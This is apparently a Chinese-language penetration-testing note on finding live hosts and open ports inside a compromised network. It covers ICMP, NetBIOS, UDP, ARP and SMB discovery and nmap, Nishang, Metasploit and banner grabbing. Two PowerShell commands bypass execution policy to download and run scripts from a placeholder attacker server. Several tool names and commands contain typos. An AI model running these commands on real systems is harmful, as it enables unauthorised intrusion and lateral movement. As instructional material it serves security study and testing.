可以使用ICMP,NetBIOS,UDP,ARP,SNMP,SMB等多种协议。
ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用
可以通过ICMP循环对整个网段中的每个ip地址执行ping命令,来发现存活的主机
只有cmd可以,powshell的语法不一样
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL=" |
/L cmd里for循环让变量以递增的方式,1到254,步长为1
-w timeout 指定超时间隔,单位为毫秒。
-n count 发送 count 指定的 ECHO 数据包数
NetBIOS,为网上基本输入输出系统(英语:Network Basic Input/Output System)的缩写,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,NetBIOS不是一种网上协议,而是应用程序接口(API)。几乎所有的局域网都是在netbios协议的基础上工作的。其工作流程就是将正常的机器名解析、查询、应答的过程。在windows中,默认安装tcp/ip后会自动安netbios
实际利用时,向局域网的每个ip地址发生netbios状态查询,可以获得主机名、mac地址等信息
使用NBTScan来扫描windows网络上netbios名称的程序,用于发现内网中存活的主机
需要将其上传到目标主机
1 | nbtscan.exec 192.168.39.1/24 |
[Internet ](https://baike.baidu.com/item/Internet /272794?fromModule=lemma_inlink)协议集支持一个无连接的传输协议,该协议称为用户数据报协议(UDP,User Datagram Protocol)。UDP 为应用程序提供了一种无需建立连接就可以发送封装的 IP 数据包的方法。
实际利用中,可以将一个空的udp报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,udp探测就马上得到一个icmp端口无法到达的回应报文,这意味着该主机正在运行。
如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应
使用Unicornscan,一款kali上的信息收集工具。
1 | unicornscan -mU 10.10.10.0/24 |
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
在实际利用中,可以想网络发送一个arp请求,若目标主机处于活跃状态,则一定会回应一个arp响应,否则不会做出任何回应
ARP-Scan
利用arp发现内网中存活的主机,将其上传到目标主机
1 | arp-scan.exe -t 10.10.10.0/24 |
PowerShell
Empire渗透框架的Invoke-ARPScan.psl脚本。使用时需要将脚本导入执行
1 | import-Module .\Invoke-ARPScan.psl |
也可以将脚本代码托管在服务器上,通过powershell远程加载运行
1 | powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://you-ip:port/Invoke-ARPScan.psl');Invoke-ARPScan -CIDR 10.10.10.0/24" |
SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。
是一种应用层传输协议,主要是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。
CIFS消息一般使用NetBIOS或TCP发送,分别使用139或者445端口,目前倾向于使用445端口
实际利用中可以探测局域网中存在的SMB服务来发现存活主机,多适用于windows
CrackMapExec(简称CME)
在kali上使用,可以枚举登录用户、枚举smb服务列表、执行winrm攻击
1 | crackmapexec smb 192.168.30.0/24 |
Telnet是进行远程登录的标志协议和主要方式。可以用telnet进行简单测试指定的端口号是打开还是关闭状态
3389是windows远程桌面服务的默认端口
1 | telnet 192.168.30.10 3389 |
扫描指定端口
1 | nmap -p 80,88 192.168.30.30 |
扫描所有开发的端口
1 | nmap -sS -p 1-65535 192.168.30.30 |
扫描指定端口并获得端口上开放的服务版本
1 | nmap -sC -sV -p 80,88,135 192.168.30.30 |
NiShang是基于Powershell的渗透测试专用框架集成了各种脚本和payload
其中的Scan模块有个Invoke0PortCan.psl脚本,可以用来对主机进行端口扫描
要先将这些文件下载下来,并且导入才能使用
对一个主机范围进行默认的端口扫描
1 | Invoke-PortScan -StartAddress 192.168.30.10 -EndAddress 192.168.30.30 -ResolveHost -ScanPort |
在拿到一台内网机器控制权时,可以执行以下命令来下载并扫描指定端口
1 | powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://your-ip:port/Invoke-portscan.ps1');Invoke-PortScan -StartAddress 192.168.30.10 -EndAddress 192.168.30.30 -ResolveHost -ScanPort -Port 80,88" |
MetaSploit渗透框架中内置了几款资源搜集模块,可以用于探测内网服务、发现内网存活主机、对目标主机进行端口扫描
1 | msfconsole |
Banner中可能包含一些敏感信息,通过查看端口的Banner,往往可以获取软件开发商。软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用
-nv 选项可以在连接指定的端口时获取该端口的Banner信息
1 | nc -nv <ip> <port> |
如果目标端口开放,使用Telnet连接后,也会返回相应的Banner信息
1 | telnet <IP> <Port> |
在namp中指定脚本”–script=banner” ,可以在端口扫描过程中获取端口的Banner
1 | nmap --script=banner -p 1-200 192.168.30.10 |